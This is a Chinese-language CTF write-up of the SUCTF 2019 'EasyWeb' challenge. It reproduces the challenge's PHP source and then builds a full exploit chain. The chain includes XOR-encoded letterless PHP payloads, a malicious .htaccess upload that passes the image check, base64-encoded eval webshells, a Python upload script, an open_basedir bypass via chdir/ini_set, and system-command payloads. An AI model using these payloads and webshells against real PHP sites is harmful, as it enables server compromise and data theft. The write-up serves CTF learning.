SUCTF 2019 EasyWeb

解题分析

这题涉及多个知识点, 故单独开一篇文章学习记录一下.

首先是源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
function get_the_flag()
{
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_" . md5($_SERVER['REMOTE_ADDR']);
if (!file_exists($userdir)) {
mkdir($userdir);
}
if (!empty($_FILES["file"])) {
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name, ".") + 1); // 获取文件的后缀
if (preg_match("/ph/i", $extension)) die("^_^"); // 后缀不能出现 ph
if (mb_strpos(file_get_contents($tmp_name), '<?') !== False) die("^_^"); // 文件内容不能出现 <?
if (!exif_imagetype($tmp_name)) die("^_^"); // 用GIF89a 文件头绕过即可
$path = $userdir . "/" . $name;
@move_uploaded_file($tmp_name, $path);
print_r($path); // 以数组的形式打印出上传文件的路径
}
}

$hhh = @$_GET['_']; // 通过GET方法得到一个 _ 参数

if (!$hhh) {
highlight_file(__FILE__);
}

if (strlen($hhh) > 18) { // 不能超过 18 个字符
die('One inch long, one inch strong!');
}

if (preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh))
die('Try something else!');

$character_type = count_chars($hhh, 3);
if (strlen($character_type) > 12) die("Almost there!");

eval($hhh);
?>

从源码中,我们知道, 这里肯定会利用无字母getshell,只不过如何传这个webshell??? 唯一一个含有文件操作的就是这里的get_the_flag 函数了

但是还是不知道如何操作,故看了一波WP, 一看知识点那么多,我靠,赚大了!!!

知识点一 :

php 在获取 HTTP GET 参数的时候,默认是获得字符串类型, php中, 可以用! 逻辑非操作符来进行布尔值的转换

php > var_dump(@a);
string(1) “a”
php > var_dump([email protected]);
bool(false)
php > var_dump([email protected]);
bool(true)

知识点二:

利用php 的经典特性 “Use of undefined constant”, 会将代码中没有引号的字符都自动作为字符串, 7.2 版本提出要被废除, 但是现目前有用(从官方WP中,copy过来)

利用这一特性,可以绕过正则表达式对单双引号的过滤, 这也是为什么 <?php @eval($_POST[A]);?> 的时候,那个 A 可以不用单引号的原理了! 😄

知识点三:

ASCII码大于 0x7F 的字符都会被当做字符串,而和0xFF 异或 相当于 取反, 可以绕过被过滤的取反符号

由于题目源码中ban 掉了 ph 所以我们不能上传任何和ph 有关的文件(当然这里不区分大小写), 但是没有过滤.htaccess 那么我们就可以利用上传.htaccess 文件,让其将所有文件都当做php来执行即可

以往我们用的 .htaccess 文件, 但是这里对上传的内容进行了判断, 但是我们又不能再这个文件里直接添加图片头, 因为这 .htaccess 不能正常解析

1
SetHandler application/x-httpd-php

但这里htaccess也要考虑一些东西,首先必须要可以让htaccess文件正确解析,但是还得符合图片的格式,在htaccess中#可以注释,还有一种就是把该行用\x00开头,这样配置文件也会把该行作为无效行解析既然这样,我们就有两种绕过手段,第一种是使用注释来标记文件头,第二种是文件头以\x00开头的文件

https://thibaud-robin.fr/articles/bypass-filter-upload/

故可以上传这样的文件

1
2
3
4
#define width 1
#define height 1
AddType application/x-httpd-php .txt
php_value auto_append_file "php://filter/convert.base64-decode/resource=路径/shell.txt"

意思是:

  • 将文件后缀为 .txt 的文件以 php文件进行解析
  • shell.txt 加载完毕后, 再次包含base64编码(注意这里是对其进行解码)的shell.txt 使其执行php代码,从而getshell.

题目还对文件内容和格式进行了限制,那么这里也很简单啦., 直接用图片头和php的short open_tag<? ?><?= ?> 来绕过, 这里可以直接对文件内容进行base64 编码即可绕过对内容的判断

但是, 这里由于正则的限制,需要对数据进行进制转换, 在处理的时候和平时有一些区别.

正常情况下的一句话 <?php eval($_POST[1]);?> 但是这里为了配合.htaccess 中的配置, 所以需要对其base64编码,并且还要添加图片头

GIF89a12PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ 这里在GIF89a 后添加 12 是为了补足8个字节让其符合base64的格式,具体原理没有去研究

使用这个脚本来获取到异或后的字符:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
$l = "";
$r = "";
$argv = str_split("_GET");
for ($i = 0; $i < count($argv); $i++) {
for ($j = 0; $j < 255; $j++) {
$k = chr($j) ^ chr(255);
// \\dechex(255) = ff
if ($k == $argv[$i]) {
if ($j < 16) {
$l .= "%ff";
$r .= "%0" . dechex($j);
continue;
}
$l .= "%ff";
$r .= "%" . dechex($j);
continue;
}
}
}
echo "\{$l`$r\}";
?>
// 输出为 \{%ff%ff%ff%ff`%a0%b8%ba%ab\}
1
2
?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag

得到phpinfo 之后, 在buu上直接把flag放在里面了… 但是为了完整的复现这个流程,就不用管f不f,flag的事了…….

这里发现使用了open_basedir, 将可访问的文件限制在了 /var/www/html/ 和 /tmp 目录下,绕过open_basedir 具体可以学习:

这道题用类似这种的 chdir('xxx');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag')); 来绕过

这样思路就明确了, 利用上面的特性和php动态执行函数的特点,来调用get_the_flag函数,然后上传webshell, 利用 .htaccess 文件解析漏洞解析PHP, 利用chdir函数和ini_set()来绕过 open_basedir

如何来上传这个文件, 方法一: 使用python 写脚本, 方法二: 我认为可以用 curl 来传(后面试试)

在我写脚本之前, 我发现, 这个路径的确定,还要自己来确定一下, 在phpinfo里面得到REMOTE_ADDR 然后自己去md5加密一下,,,, 因为自己tcl, 所以只想到了通过这种方法来获取文件上传的路径的方法,如果有更好方法,欢迎留言交流.

确定路径为 upload/tmp_373102e0ce08f8c2eb7333a31ab15723/shell.txt

后面再进行上传的时候,发现回来的路径和自己去md5的路径不一样..改一下就是了,我也不知道为什么会不一样

然后就可以改写上面的.htaccess了

1
2
3
4
#define width 1
#define height 1
AddType application/x-httpd-php .txt
php_value auto_append_file "php://filter/convert.base64-decode/resource=var/www/html/upload/tmp_373102e0ce08f8c2eb7333a31ab15723/shell.txt"

shell.txt

1
GIF89a12PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import base64

import requests

file_htaccess = b"""
#define width 1
#define height 1
AddType application/x-httpd-php .txt
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_76d9f00467e5ee6abc3ca60892ef304e/shell.txt"
"""
file_shell_txt = b"GIF89a" + b"aa" + base64.b64encode(b"<?php eval($_GET[A]);?>")
url = "http://f2a7caa1-9b05-420b-85aa-ec06cb6444fd.node3.buuoj.cn/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag"
# 文件上传的格式, 先上传.htaccess
files = {'file': ('.htaccess', file_htaccess, 'image/jpeg')}
data = {'upload': 'Submit'}
r = requests.post(url=url, data=data, files=files)
print(r.text)
# 再上传 shell.txt
files = {'file': ('shell.txt', file_shell_txt, 'image/jpeg')}
r = requests.post(url=url, data=data, files=files)
print(r.text)

然后绕过open_basedir 执行php code即可

列出根目录

将文件以字符串的形式读取处来

PHP 中异或(^)的概念

1
2
3
<?php
echo "A"^"?";
?>

输出为 ~ 在PHP 中对两个变量进行异或操作是, 先将字符串转换成ASCII 值,然后再将ASCII 值转换成 二进制 进行异或, 然后将得到的二进制转为ASCII 值, 再转换成字符串

1
2
3
4
5
A的ASCII值是65,对应的二进制值是01000001

?的ASCII值是63,对应的二进制值是00111111

异或的二进制的值是10000000

PHP 中取反(~)的概念

比如汉字”和”

在python中:

1
2
3
4
5
6
>>> print("和".encode('utf8'))
b'\xe5\x92\x8c'
>>> print("和".encode('utf8')[2])
140
>>> print(~"和".encode('utf8')[2])
-141

“和”的第三个字节的值为140[0x8c],取反的值为-141。
负数用十六进制表示,通常用的是补码的方式表示。负数的补码是它本身的值每位求反,最后再加一。141的16进制为0xff73,php中chr(0xff73)==115,115就是s的ASCII值。

因此:

1
2
3
4
5
php > $_="和";
php > print(~($_{2}));
s
php > print(~"\x8c");
s

贴上 Smi1e 师傅的脚本:

1
2
3
4
5
6
>>> def get(shell):
... hexbit=''.join(map(lambda x: hex(~(-(256-ord(x)))),shell))
... print(hexbit)
...
>>> get('phpinfo')
0x8f0x970x8f0x960x910x990x90

如何不用数字构造数字

简单来说,就一句话 => 利用php弱类型和自增运算, true+true = 2

另外, 在php 中 未定义的变量默认值为 null null==false==0

如何构造无字符webshell

将非字母、数字的字符经过各种变换,最后能构造出a-z中任意一个字符。然后再利用PHP允许动态函数执行的特点,拼接处一个函数名,如”assert”,然后动态执行即可。

More

webshell 如下

1
2
3
4
5
$a = (%9e ^ %ff).(%8c ^ %ff).(%8c ^ %ff).(%9a ^ %ff).(%8d ^ %ff).(%8b ^ %ff);
\\assert
$b = "_" . (%af ^ %ff).(%b0 ^ %ff).(%ac ^ %ff).(%ab ^ %ff);$c = $$b;
\\$b = $_POST
$a($c[777]);

payload:

1
2
3
?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}("type index.php");&%ff=system
POST发包:
777=phpinfo();

这样可以执行任何的命令

另外,

获取本题的payload还可以用python

1
2
3
4
5
6
7
8
9
10
11
12
import urllib.parse

find = ['G','E','T','_']
for i in range(1,256):
for j in range(1,256):
result = chr(i^j)
if(result in find):
a = i.to_bytes(1,byteorder='big')
b = j.to_bytes(1,byteorder='big')
a = urllib.parse.quote(a)
b = urllib.parse.quote(b)
print("%s:%s^%s"%(result,a,b))

参考资料

参考资料也就是学习资料! 多学习他人的思路

https://lihuaiqiu.github.io/2019/08/27/SUCTF2019/

https://xz.aliyun.com/t/5677

https://xz.aliyun.com/t/4720

https://www.smi1e.top/php%E4%B8%8D%E4%BD%BF%E7%94%A8%E6%95%B0%E5%AD%97%E5%AD%97%E6%AF%8D%E5%92%8C%E4%B8%8B%E5%88%92%E7%BA%BF%E5%86%99shell/

[https://github.com/team-su/SUCTF-2019/blob/master/Web/easyweb/wp/SUCTF%202019%20Easyweb.md](https://github.com/team-su/SUCTF-2019/blob/master/Web/easyweb/wp/SUCTF 2019 Easyweb.md)

https://www.cnblogs.com/wangtanzhi/p/12250386.html

https://thibaud-robin.fr/articles/bypass-filter-upload/

Author: m0nk3y
Link: https://hack-for.fun/72e3.html
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.